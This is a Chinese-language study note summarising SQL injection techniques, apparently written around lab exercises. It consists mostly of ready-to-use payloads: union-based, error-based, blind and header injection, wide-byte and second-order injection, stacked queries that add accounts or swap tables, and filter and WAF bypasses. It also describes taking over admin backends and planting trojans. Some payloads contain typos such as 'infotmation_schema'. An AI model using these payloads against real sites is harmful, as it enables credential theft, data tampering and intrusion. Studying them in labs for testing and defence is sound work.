【SQL】SQL注入知识总结
介绍
- SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。
- SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。这时相当于用户控制了后端SQL语句的一部分。
- 它目前是黑客对数据库进行攻击的最常用手段之一。
- 比如,Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击
原理
- SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。
- SQL注入产生的原因:当Web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
- 简单的说就是在post/get表单或页面请求的查询字符串中插入SQL语句,最终使web服务器执行恶意命令的过程。可以通过一个例子简单说明SQL注入攻击。假设某网站页面显示时URL为http://www.example.com?id=123,此时URL实际向服务器传递了值为123的变量id,这表明当前页面是对数据库进行动态查询的结果。由此,我们可以在URL中插入恶意的SQL语句并进行执行。
- 另外,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。
- 本质:其实就是把用户输入的数据当做代码来执行,违背了程序设计“数据与代码分离”的原则
- 两个关键点:
- 用户能够控制输入的内容
- Web应用把用户输入的内容带入到数据库中执行
分类
- 根据注入位置分类:GET注入、POST注入、Head头注入
- 根据结果反馈分类:有回显注入(联合查询,报错注入,堆叠注入)、无回显注入(布尔盲注,时间盲注) 。
- 根据数据类型分类:
- 数字型注入:当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。
- 数字型不需要闭合,而字符串类型一般需要进行闭合。
- 字符型注入:当输入参数为字符串时,称为字符型。
注入流程
- SQL注入点探测。探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户的输入未进行有效性验证,则存在SQL注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在SQL注入漏洞。
- 收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;还可以使用特定函数来判断,比如输入"select version()",程序返回正常,说明version()函数被数据库识别并执行,而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。
- 猜解数据库字段。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。
- 查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址
- 入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。
- 漏洞的判断
- 根据客户端返回的结果来判断提交的测试语句是否成功被数据库引擎执行,如果测试语句被执行了,说明存在注入漏洞。一般利用单引号(')或者双引号(")来判断是否存在漏洞,如果出现SQL语句错误说明有很大的可能会存在漏洞
万能密码
万能密码是遇到输入框时,进行绕过密码登录的一种尝试
'or '1'='1
闭合方式
如果是数值型的话,就不需要闭合,如果是字符串型的话,就需要闭合
'
"
')
'))
")
"))
--+
#
%23
and '1'='1
--
表示注释,后面的内容都将被忽略。--+
的作用是让SQL解释器知道忽略后面的内容,并且确保注释符号和查询语句之间有空格(有些数据库在 --
后要求有空格,才能识别为注释)。 +
是URL编码的空格符,用来确保注释符被正确解析
- 如下面输入了
5'
会跳转到
可以看到多了一个单引号,因为单引号不匹配,则会报错。如果能引起数据库的报错,说明用户是可以对查询语句进行修改的,说明存在漏洞。
- 判断注入类型是数字型还是字符型,这涉及到在注入的过程中是否需要添加单引号,可以使用and( 逻辑与)进行判断,,当条件表达式两边都为真才是真,有一边为假则是假
1 and 1=1
1 and 1=2
//如果是数字型
SELECT first_name, last_name FROM users WHERE user_id = 1 AND 1=1;
SELECT first_name, last_name FROM users WHERE user_id = 1 AND 1=2;
//会返回不一样的内容
//如果是字符型
SELECT first_name, last_name FROM users WHERE user_id = '1 AND 1=1';
SELECT first_name, last_name FROM users WHERE user_id = '1 AND 1=2';
//会返回一样的内容
如果输入1 and 1=1和1 and 1=2页面的查询结果都返回相同的内容,说明不是数字型注入。
原因:Mysql的隐式类型转换,对于字符串类型,自动将某种类型的数据转换为另外一种类型的数据,当读取到空格时,后面的内容都会被直接忽略,不会在出现逻辑判断的返回结果
既然不是数字型,那就有很大的可能是字符型注入了。如果是字符型则需要对单引号(')进行闭合,因为MySQL中的引号都是成双成对出现的。
注入点
get 型
- 在地址栏就可以直接发送请求
- 闭合方式 get请求,参数都体现在url上面, 优先使用
--+
作为注释符,以适应URL编码和空格转换需求
post 型
- 需要在表单中发送请求,参数不会回显到地址栏里
- 可以借用工具 hackbar 或 BP 提交表单
- 闭合方式: post请求,参数是在表单里面, 优先使用
#
,因其在MySQL中直接有效,也减少了编码的复杂性- 当然,有时候涉及表单后面还有自带参数,也可能使用的是 and '1'='1 闭合
uname=aaa&passwd=aaa' and '1'='1&Submit=Submit
请求头型
- U-A 头
- render
- cookie
注入方式
联合查询注入
'order by 3--+
'union select 1,2,database()--+
'union select 1,2,group_concat(table_name) from infotmation_schema.tables where schema_name=database()--+
'union select 1,2,group_concat(column_name) from infotmation_schema.columns where table_name='表名'--+
'union select 1,2,group_concat(列1,0x7e,列2) from 表名--+
- UNION 操作符用于合并两个或多个 SELECT 语句的结果集,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名,并且UNION 内部的 SELECT 语句必须拥有相同数量的列。
- 联合查询注入就是利用union操作符,将攻击者希望查询的语句注入到正常select语句之后,并返回输出结果。
- 步骤
-
- 爆列数
'order by 3--+
-
-
'
这个单引号关闭了原本的id
查询部分,为后面的UNION
提供了注入点。
-
-
- 爆显示位
id=-1'union select 1,2,3--+
-
-
id=-1
通常用来确保前面的查询部分不会返回任何有效数据,而注入的UNION SELECT
查询结果可以完整地显示 ,当字段不是字符型时,就不能用这个技巧了- 1,2,3 是占位符,用于匹配原查询的列数,会回显到页面上,用于判断哪位位置可以用来获取数据
-
-
- 爆数据库名
'union select 1,2,database()--+
-
-
- 获取当前数据名, 通常,开发人员将数据存储在当前数据库中
-
-
- 爆表名
id=-1'union select 1,2,group_concat(table_name) from infotmation_schema.tables where schema_name=database()--+
-
-
- information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。
- 该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。
group_concat(table_name)
:MySQL中的一个聚合函数,它会将当前数据库中的所有表名连接成一个逗号分隔的字符串,返回在一列中。这个函数非常适合用于提取多个表名并一次性展示 。这里table_name是固定通用的information_schema.tables
是一个系统表,它存储了数据库中所有表的信息。
-
-
- 爆列名
- 爆敏感数据
- 优化数据输出展示
-
-
- 可以输入
-
?id=-1' UNION SELECT 1, 2,GROUP_CONCAT(username, 0x3a, password, 0x3C, 0x68, 0x72, 0x2F, 0x3E) FROM users --+
-
-
- 0x3a:对应的字符是
:
(冒号) - 0x3C:对应的字符是
<
(小于号) - 0x68:对应的字符是
h
- 0x72:对应的字符是
r
- 0x2F:对应的字符是
/
(斜杠) - 0x3E:对应的字符是
>
(大于号) <hr/>
是http标签, 在页面中绘制一条水平线,通常是用来分隔段落、主题或其他内容。
- 0x3a:对应的字符是
-
报错注入
- 当页面不再有内容回显,但是有很多界面的错误信息,可以用报错注入
'and updatexml(1,concat(0x7e,select database(),0x7e),0x7e)--+
'and updatexml(1,concat(0x7e,select group_concat(table_name) from infotmation_schema.tables where schema_name=database(),0x7e),0x7e)--+
?id=1'and(select updatexml(1,concat(0x7e,substr((select group_concat(username,0x2b,password)from users),32,64)),0x7e))--+
- 函数解释
-
and
:表示只有当后面的条件为真时,查询才会继续,这也是一种典型的注入方式,用来添加额外的查询逻辑。select updatexml(1,concat(0x7e,(select database())),0x7e)
:
-
-
updatexml()
:这个函数通常用于处理XML数据。它的功能是在XML文档中替换某个节点的值。但如果给出的不是正确的XML格式,它就会返回一个错误消息。这里就是利用updatexml()
强制数据库抛出错误。
-
-
-
-
- updatexml(XML_document, XPath_expression, new_value)
-
-
-
-
-
-
- XML_document:需要处理的 XML 文档,通常是一个 XML 格式的字符串或者表达式。在注入攻击中,攻击者一般会使用一个错误的或无效的值(如
1
或NULL
)来触发错误。 - XPath_expression:用于选择 XML 文档中的某个节点的 XPath 表达式。在注入攻击中,攻击者会通过构造恶意的 XPath 表达式来造成错误,并借此返回一些错误信息。例如,常见的做法是使用
concat()
函数拼接一些数据库信息。 - new_value:要用来替换所选择的节点内容的值。在注入攻击中,通常传递的也是一个无效或空值,如
NULL
,以便触发错误并返回有用的信息。本题使用0x7e,也是无效值,目的是出发错误
- XML_document:需要处理的 XML 文档,通常是一个 XML 格式的字符串或者表达式。在注入攻击中,攻击者一般会使用一个错误的或无效的值(如
-
-
-
-
-
concat(0x7e, (select database()), 0x7e)
:
-
-
-
-
concat()
:是一个字符串拼接函数,0x7e
是~
符号的十六进制表示,作用是将结果包裹在两个波浪号之间,方便观察错误信息。(select database())
:这里使用了一个子查询,select database()
用于获取当前数据库的名称。攻击者希望通过数据库报错,将数据库名称包含在错误消息中返回给他们。- 在其他函数(如
concat()
)中使用SELECT
语句时,外面必须加上一层括号,目的是确保 SQL 查询引擎首先执行SELECT
查询,然后将其结果作为参数传递给外部函数。
-
-
-
-
- 跟联合查询注入相比,select后面只有一项,与联合查询注入相比,不需要那么多列
-
-
- 这个查询最终会构造出类似于
updatexml(1, '~[数据库名]~', 0x7e)
这样的内容,如果数据库名返回错误信息,攻击者就能从中读取到数据库名。 substr(string, start_position, length)
- 这个查询最终会构造出类似于
-
-
- 在找字段的时候,updatexml函数只能得到32位,所以此时可以运用substr进行按位数截取
- string:需要截取的字符串。可以是字符串文本,也可以是列名或表达式。
- start_position:从哪一位开始截取。位置索引从 1 开始,表示字符串的第一个字符。如果是负数,则从字符串的末尾开始计算位置。例如:
-
-
-
-
SUBSTR('abcdef', 2)
→ 从第二个字符开始,结果是'bcdef'
。SUBSTR('abcdef', -2)
→ 从倒数第二个字符开始,结果是'ef'
。
-
-
-
-
- length(可选):需要截取的长度,表示从
start_position
开始要提取多少个字符。如果不指定length
,默认会截取到字符串的结尾。例如:
- length(可选):需要截取的长度,表示从
-
-
-
-
SUBSTR('abcdef', 2, 3)
→ 从第二个字符开始,提取 3 个字符,结果是'bcd'
。- 如果不传递
length
,如SUBSTR('abcdef', 2)
,则截取到字符串的结尾,结果是'bcdef'
。
-
-
布尔盲注
- 发现不管输入什么,页面永远只有两种情况
'and length(database())>7--+
'and ascii(substr(database(),1,1))>115--+
'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 --+
- 函数
-
- length(): 返回字符串的字节长度
- ascii(),传入一个字符参数,获得其字符的ascii数值
-
-
- 因为是数值,所以不能直接>'s',不过可以写成>ascii('s'),就可以不用参考ASCII表了
- 如果是要相等,就写=115,只有一个等号
- 因为只能一步一步推,每一个字符都需要推算,所以耗时会很多,步骤很繁琐
-
-
- substr:一次爆一个字符
' and ascii(substr(database(),1,1))>115--+
- 当为 get 型注入的时候,连接符用的是 and,而当为 post 型注入的时候,连接符用的是 or
uname=' or length(database())=8#&passwd=&Submit=Submit
时间盲注
' and sleep(5) --+
' and if ((length)>7,sleep(5),0)--+
- 函数
-
- sleep(5):延迟5s
-
- if(condition, true_result, false_result)
-
-
condition
:这是一个表达式,返回真(true)或假(false)的值,通常是你想要检查的条件。true_result
:条件为真,将执行的操作。false_result
:条件为假,将执行的操作。- 在本题,使用sleep作为条件为真时的操作,使用0(立即执行)作为作为条件为假时的操作
-
请求头注入
- 为什么http头部可以进行注入
由于大部分网站为了记录用户的http请求头部内容,来更好的识别用户的身份信息,会将其带入数据库处理。
任何与数据库交互的地方都是有可能会有sql注入漏洞的。如果管理员没有对http头部内容进行验证和过滤,导致攻击者可以任意篡改http头部信息拼接到数据库恶意获取敏感内容。
user-agent
User-Agent 首部包含了一个特征字符串,用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。
浏览器通常使用的格式为:
User-Agent: Mozilla/<version> (<system-information>) <platform> (<platform-details>) <extensions>
通过识别用户身份,响应合适的web界面
一般是三个参数:U-A 头,ip 地址,用户名
- 步骤
-
- 在红款圈住的地方输入(也就是在原来的User-Agent后面加上 ' 进行闭合,注意要先输对账号密码才会报错)
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0'
发现报错了
分析报错信息,得知单引号后还有两个字段,如果不加字段,只加上注释符#
会发现还是报错,补充变量,改成
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0',1,1)#
就没有报错了
-
- payload 的构造:网页的后端源代码,可能是以下代码
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname);
直接粗暴地加#,把原本后面的给注释掉了,因此需要补充变量
-
- 如果不加上#,利用闭合的思想,在U-A头中输入
' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) and '1'='1
referer字段
- Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer请求头识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。
-
- 就比如从csdn访问外链接跳转,此时referer字段指向的url地址就是csdn的地址。
- 一般是两个参数,referer 字段和 ip
- 与 U-A 头类似,构造好 payload 注入即可
Cookie
- Cookie 是一个 HTTP 请求标头,其中含有先前由服务器通过 Set-Cookie 标头投放或通过 JavaScript 的Document.cookie 方法设置,然后存储到客户端的 HTTP cookie
- cookie 需要先登录再打开抓包,刷新页面获取的数据包中才有
- 与 U-A 头和 referer 不同的是:cookie 一般只有一个参数,所以后面直接接注释符就可以了
- Cookie 有时候会使用 url 加密,base64 加密,需要先解密再注入,最后加密回去
宽字节注入
- 涉及单引号转义问题可以用宽字节注入
- 宽字节注入通常发生在数据库使用多字节字符集(如 GBK 或 Shift-JIS),且应用程序在处理这些字符时出现问题的情况下。攻击者可以利用这种技术绕过单引号 ' 限制,注入恶意 SQL 语句。
-
- 宽字节字符集:宽字节字符集是指一些字符编码(例如 GBK、Shift-JIS 等)在表示字符时使用多个字节(通常为 2 个字节)表示一个字符。特别是 GBK 编码,其中 ASCII 字符(例如
%5C
,即反斜杠\
)和一些汉字字符是以两个字节表示的。 - 字符拼接漏洞:由于宽字节编码方式的特殊性,某些单字节字符(如
%5C
表示的\
)在宽字节编码下会被视为多字节字符的前导字节。攻击者可以通过输入特殊字符,使应用程序误认为其输入的单字节字符实际上是多字节字符的一部分,从而绕过一些过滤和转义。 - 其实就是构造编码,绕过过滤机制
- 由于单引号在用户输入中是合法字符 ,所以不会考虑过滤,而是采用转义的方式进行限制
- 宽字节字符集:宽字节字符集是指一些字符编码(例如 GBK、Shift-JIS 等)在表示字符时使用多个字节(通常为 2 个字节)表示一个字符。特别是 GBK 编码,其中 ASCII 字符(例如
- 设计员在转义 ' 的时候,往往利用的思路是将 ' 转换为 \' ,因此如果要将 ' 前面添加的 \ 除掉,有两种思路:
-
- %df 吃掉 \
-
-
- 具体的原因是 urlencode(\') = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
-
-
- 将 \’ 中的 \ 过滤掉
-
-
- 例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c给注释掉。
-
- 步骤
-
- 直接往参数里传入汉字,判断一下可以用宽字节注入么
-
-
- 发现回显成 16 进制码,说明使用了多字节字符集,可以使用宽字节注入
-
- 输入
?id=1%df'
成功报错了,可以使用'进行 sql 注入了,其他步骤按照基本的注入方法就可以了
- 当输入表名字符串等时,由于需要单引号,但不会使用宽字节注入,而是用十六进制码,即把每个字符列出来,转换为ASCii码,再在前面加上0x即可表示十六进制字符串,或者使用char函数来表示字符
-
- 使用宽字节注入没办法得到想要的结果,因为对于通用字符来说,使用宽字节会将中文带入sql语句中。
?id=-1%df'union select 1,2,group_concat(column_name)from information_schema.columns where table_name=0x7573657273--+
二次注入
- 涉及创建账号时,可考虑二次注入.通过创建账号,实现登录一个未知密码、但知道用户名的账号.
- 二次注入:
-
- 一种SQL注入攻击的变种,攻击者将恶意的SQL语句存储在数据库中,待到应用程序的其他功能(或其他用户)再次调用这些数据时,注入才会生效。相比于直接注入,这种方式可以更隐蔽且难以检测。
- 在一次普通的SQL注入攻击中,恶意SQL代码直接插入并执行。而在二次注入中,恶意代码首先作为普通数据被存储,直到有其他部分的代码对这些数据进行二次处理或查询时,注入才被触发。例如:
- 初次存储:攻击者在输入字段(如用户名、地址)中输入经过设计的恶意SQL代码,而这段数据没有直接导致SQL注入被执行,仅被存入数据库。
- 二次触发:应用的其他模块读取这些数据,并将其作为SQL查询的一部分。此时,恶意SQL代码被执行,导致数据库被攻击或数据泄露。
- 可以在后端文件“login_create.php”中加一串代码,可以打印出创建的用户名,辅助我们理解注入的原理.在文件的最后面加上
echo "Hint: you input is: " . $username . "<br>";
- 先往数据库里注入“脏数据”,在创建用户界面里输入
admin'#
//账号(后面跟原账号admin有关)
123456
//密码(随便输)
-
- 点击注册之后,打印出了刚刚创建的用户名
-
- 网页把注入的'#过滤成了\'#,这是一种转义,防止直接通过该网页进行sql注入爆破数据库.
- 但是如果此时调取数据库时(记得连接数据库,使用数据库,再查数据库),发现,原来虽然转义了,但在存入数据库的时候,开发人员却没有过滤注入的',把注入的代码原封不动地搬入了数据库中.或者说,程序以为这个'只是一个字符,而不是sql语句中具有闭合作用的单引号,所以没有对其进行转义.
- 于是,可以尝试调用这个数据库送进去的"卧底",试试能不能在读取这个数据库的其他页面中,利用这个"卧底"来进行sql注入,获得需要的敏感数据
-
- 这里id=8处,admin的密码还是admin(后续就可以利用刚刚的漏洞来实现改变密码)
- 利用脏数据,在登录页面里先登录
-
- 登录后,开始修改刚刚注册的账号
123456//原密码
123//新密码
123//确认密码
-
- 这里查看一下数据库,发现明明改的是admin'#的密码,然后最后却改的是admin的密码,这说明,之前注入的'#最后还是被程序运行了,成功实现了sql注入,达到了我们的目的,绕过不清楚密码的账号,这就是二次注入.
- 原理:
//源语句
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
//插入 payload 后的语句
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
//真正生效的语句
UPDATE users SET PASSWORD='$pass' where username='admin'
通过sql注入的注释符,成功不需要密码就可以修改一个账户,进而实现登录
HTTP 参数污染
- HTTP 参数污染(HPP) 是一种 Web 安全漏洞,攻击者通过在 URL 查询字符串中注入多个相同名称的参数来操控服务器处理请求的方式。目标是破坏或绕过服务器端的输入处理,导致意外的行为或泄露信息。
-
- 如果服务器在处理请求时没有正确处理多个相同名称的参数,攻击者可以通过发送多 个相同名称的参数来操控请求的行为
- 在这种情况下,
id
参数出现了两次,服务器可能会把它们合并、覆盖或选择其中一个。攻击者可以利用这一点来修改服务器的行为,通常通过破坏查询字符串的逻辑,绕过验证机制,或进行 SQL 注入等攻击。 - Web 应用防火墙(WAF)或其他过滤机制可能只检查特定的参数。在某些情况下,HPP 攻击可以通过使这些防护措施处理多个重复的参数值来绕过它们。例如,防火墙可能只检查
id
参数的第一个出现,忽略后面的参数。 - apache(php)解析最后一个参数,即显示 id=2 的内容。Tomcat(jsp)解析第一个参数,即显示 id=1 的内容。
- 如果输入id=1时候它会正常显示,因为第二个函数截取了id的值然后传递给第一个函数,由于这是数字所以正常显示;如果输入的是id=a,经过第二个函数截取之后传递给第一个函数由于只能是数字所以会重定向至hacked.php;如果我们输入两个id值,即id=1&id=2
- 通俗来讲,服务器若只对其中一个参数进行防火墙操作,那么再写一个参数,从而实现对waf的绕过
?id=0&id=1' and updatexml(1,concat(0x7e,database()),3) --+
堆叠注入
- 堆叠注入:
-
- 介绍:堆叠注入允许攻击者在同一个 SQL 查询中执行多条语句,即使原始查询的目的只是执行一条语句。通过利用数据库对多条语句的支持,攻击者可以在执行原始 SQL 查询的同时添加其他恶意语句,实现更复杂的攻击,例如数据泄露、修改数据,甚至执行数据库命令。
- 使用: 每条 SQL 语句使用分号(
;
)隔开。因此,在存在 SQL 注入漏洞的应用中,攻击者可以将分号后接的第二条语句注入进去,这条语句会在第一条合法语句执行后被执行,从而达到注入效果。 - 效果:
-
-
- 在某些应用中,直接读取敏感数据的语句(如
SELECT password FROM users
)可能受到限制,或者数据本身经过严格验证和过滤。通过堆叠注入,攻击者可以将这些数据导出到另一个表,或在注入点之外的地方执行新的查询或命令,绕过应用的直接控制。
- 在某些应用中,直接读取敏感数据的语句(如
-
-
-
-
- 本质就是隐藏攻击意图
-
-
-
-
- 在数据库里增添数据,如账号密码,实现登录绕过
-
- 语句
增添数据
?id=-1';
insert into users(id,username,password)
values(20,'nahida','520');
应用:自定义一个新的账号密码,绕过
展示数据库名,表名和列名
?id=-1';show databases;
?id=-1';show tables;
//如果表名是纯数字,需要使用反引号`包裹
?id=-1';show columns from 1;
//从1列中取出
应用:select 被过滤的时候
更新表的数据
说明:这里 a 表的数据会回显到页面上,b 表里含需要的数据,a 表里有一列 d,b 表里需要的数据在 e 列中
?id=1';
rename table a to c;
alter table a add id int unsigned not Null auto_increment primary key;
alter table a change d e varchar(100);--+
- 把 a 表命名为 c 表
-
- 向表 a 添加一个名为
id
的列:
- 向表 a 添加一个名为
-
- 数据类型为
int unsigned
(无符号整数)。 - 不能为
NULL
。 - 设置为自动递增 (
auto_increment
)。 - 同时将其设为主键 (
primary key
)
- 数据类型为
- 将表 a 中的列 d 重命名为 e,并将其数据类型更改为
varchar(100)
应用:转移不可见表的敏感数据,到可回显到页面的表里
设置变量
SeT@a=0x73656c656374202a2066726f6d2061;
prepare execsql from @a;
execute execsql;
0x73656c656374202a2066726f6d2061
十六进制字符串,转化后得到:
select * from a
- 这条语句的作用是设置变量
@a
为动态 SQL 语句select * from a
。 - 使用
PREPARE
语法,准备执行动态 SQL 语句。 execsql
是一个预处理语句的名称,内容是变量@a
中的值。
-
- 执行先前通过
PREPARE
准备的 SQL 语句。实际上会运行:select * from a
。
- 执行先前通过
应用:绕过一些常见 sql 注入函数的过滤
设置 MySQL 的 SQL 模式
?id=1;set sql_mode=PIPES_AS_CONCAT;
PIPES_AS_CONCAT
使得||被视为字符串连接符,而不是逻辑 "OR" 运算符。默认情况下,|| 被用作逻辑 "OR",但在启用 PIPES_AS_CONCAT 后,|| 就会变成 CONCAT() 函数的替代写法,用于连接字符串
应用:逻辑或漏洞
ONLY_FULL_GROUP_BY:
对于GROUP BY聚合操作,如果在SELECT中的列,没有在GROUP BY中出现,那么这个SQL是不合法的,因为列不在GROUP BY从句中
NO_AUTO_VALUE_ON_ZERO:
该值影响自增长列的插入。默认设置下,插入0或NULL代表生成下一个自增长值。如果用户 希望插入的值为0,而该列又是自增长的,那么这个选项就有用了。
STRICT_TRANS_TABLES:
在该模式下,如果一个值不能插入到一个事务表中,则中断当前的操作,对非事务表不做限制
NO_ZERO_IN_DATE:
在严格模式下,不允许日期和月份为零
NO_ZERO_DATE:
设置该值,mysql数据库不允许插入零日期,插入零日期会抛出错误而不是警告。
ERROR_FOR_DIVISION_BY_ZERO:
在INSERT或UPDATE过程中,如果数据被零除,则产生错误而非警告。如 果未给出该模式,那么数据被零除时MySQL返回NULL
NO_AUTO_CREATE_USER:
禁止GRANT创建密码为空的用户
NO_ENGINE_SUBSTITUTION:
如果需要的存储引擎被禁用或未编译,那么抛出错误。不设置此值时,用默认的存储引擎替代,并抛出一个异常
PIPES_AS_CONCAT:
将"||"视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似
ANSI_QUOTES:
启用ANSI_QUOTES后,不能用双引号来引用字符串,因为它被解释为识别符
ORACLE的sql_mode设置等同:PIPES_AS_CONCAT, ANSI_QUOTES, IGNORE_SPACE, NO_KEY_OPTIONS, NO_TABLE_OPTIONS, NO_FIELD_OPTIONS, NO_AUTO_CREATE_USER.
绕过
注释符
采用闭合的思路代替直接注释
?id=1' order by 3 and '
and 与 or
- 双写
-
- anandd,oorr
- 大小写变形
-
- 后端启用正则表达式匹配,此法不适用
- 逻辑运算符
-
- &&(代替 and),||(代替 or)
- url编码
-
- 如果连&&都被过滤了的话,也可以考虑&&的url编码%26%26
空格
后端过滤空格的方法: \s 代表正则表达式中的一个空白字符(可能是空格、制表符、其他空白) 即\s用于匹配空白字符
- 使用url编码,例如
%09 TAB键(水平)
%0a 新建一行 //这个貌似可以用
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
在windows系统,因为apache解析的一些问题,无法把一些特殊字符转化为空格,在Linux系统里都可以
- 使用双写空格:某些地方可以使用
- 使用括号法:对于多个参数传递的函数,如报错注入的一系列函数,通过括号的包裹,避免空格的输入。
- 注释绕过法: 用
/**/
替代空格 ,例如 将SELECT * FROM users WHERE id = 1 OR 1=1
转为SELECT/**/id/**/FROM/**/users
.
union 和 select
- 这里绕过union和select的方法很独特,是把两个混合写在了一起了,解释是:解析器可能会基于字符串模式识别关键字,而不是单纯地将所有字符逐字检查 。
?id=999')%0bunion%0bseunion%0bselectlect%0b1,database(),3%0bor%0b('1'='1
- 使用堆叠注入
SeT@a=0x73656c656374202a2066726f6d2061;
prepare execsql from @a;
execute execsql;
0x73656c656374202a2066726f6d2061 解码为
select * from a
特殊情况
“忘记密码”页面
- 在“忘记密码”页面中,用户需要输入的是新的密码,此时已经是默认登录的了
- 当准备获取敏感数据时,输入
uname=admin&passwd=' and updatexml(1,concat('!',(SELECT group_concat('~',username,password) FROM users)),0x7e)# &submit=Submit
会发现网页回显 “You can't specify target table 'users' for update in FROM clause”。
是因为 MySQL 禁止在同一个查询语句中同时更新和读取同一个表。这个限制是为了防止数据库在读取和更新同一个表时发生冲突。
- 解决方法:无法直接从 users 表拿数据,我们可以先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。构造出的 payload 如下,思路就是利用一个查询从另一个查询中取出数据,以此绕过表的限制。
uname=admin&passwd=' and (updatexml(1,concat('~',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),0x7e))#submit=submit
-
CONCAT_WS
:第一个参数是分隔符,后面的各参数即需要分隔的字符串,与 concat 的区别就是自带分隔符FROM (SELECT username, password FROM users) text
:为绕过直接引用users
表的限制,构造了一个子查询(SELECT username, password FROM users) text
,并赋予别名text
。这样可以避免“在 FROM 子句中指定目标表”的错误。- 前面的报错注入,我们都是直接from users的,现在我们再加一个查询和加暂存表名
自校验密码
- 指的是存在一个输入框,输入正确的密码,可提示是否正确的页面
- 漏洞原理:密码的校验与查询语句在同一条语句里,如
select $post['query'] || flag
采用的是逻辑或的逻辑
- 思路
-
- 思路主要来自对后端代码的猜测,以及对 sql 语法的利用
- 思路 1: 通过堆叠注入与 sql 模式,来利用逻辑或漏洞
?id=1;set sql_mode=PIPES_AS_CONCAT;select 1
使得 ||
被视为字符串连接符,而不是逻辑 "OR" 运算符
代入后端就可以变成select 1,flag
-
- 思路 2:通过短路算法,来利用逻辑或漏洞
*,1
这个题解也是充分利用了代码的结构
相当于构造了select *,1 || flag from Flag ,而 1||flag是个短路算法,等价于1,等价于 select *,1 from Flag,也是利用了题目自带的表名和 from
可回显表与敏感表
a 表的数据会回显到页面上,而 b 表里含需要的数据,a 表里有一列 d,b 表里需要的数据在 e 列中
思路:利用堆叠注入和对表的更新,把 b 表重命名为 a 表,这样页面回显 a 表里数据,实际就是需要的敏感数据,当然,对应的列名也需要更改,在此之前需要先爆表名和列名
?id=1';
rename table a to c;
rename table b to a;
alter table a add id int unsigned not Null auto_increment primary key;
alter table a change d e varchar(100);--+
- 把 a 表命名为 c 表
- 把 b 表命名为 a 表(回显到页面上的表)
- 向表 a 添加一个名为
id
的列:
-
- 数据类型为
int unsigned
(无符号整数)。 - 不能为
NULL
。 - 设置为自动递增 (
auto_increment
)。 - 同时将其设为主键 (
primary key
)
- 数据类型为
- 将表 a 中的列 d 重命名为 e,并将其数据类型更改为
varchar(100)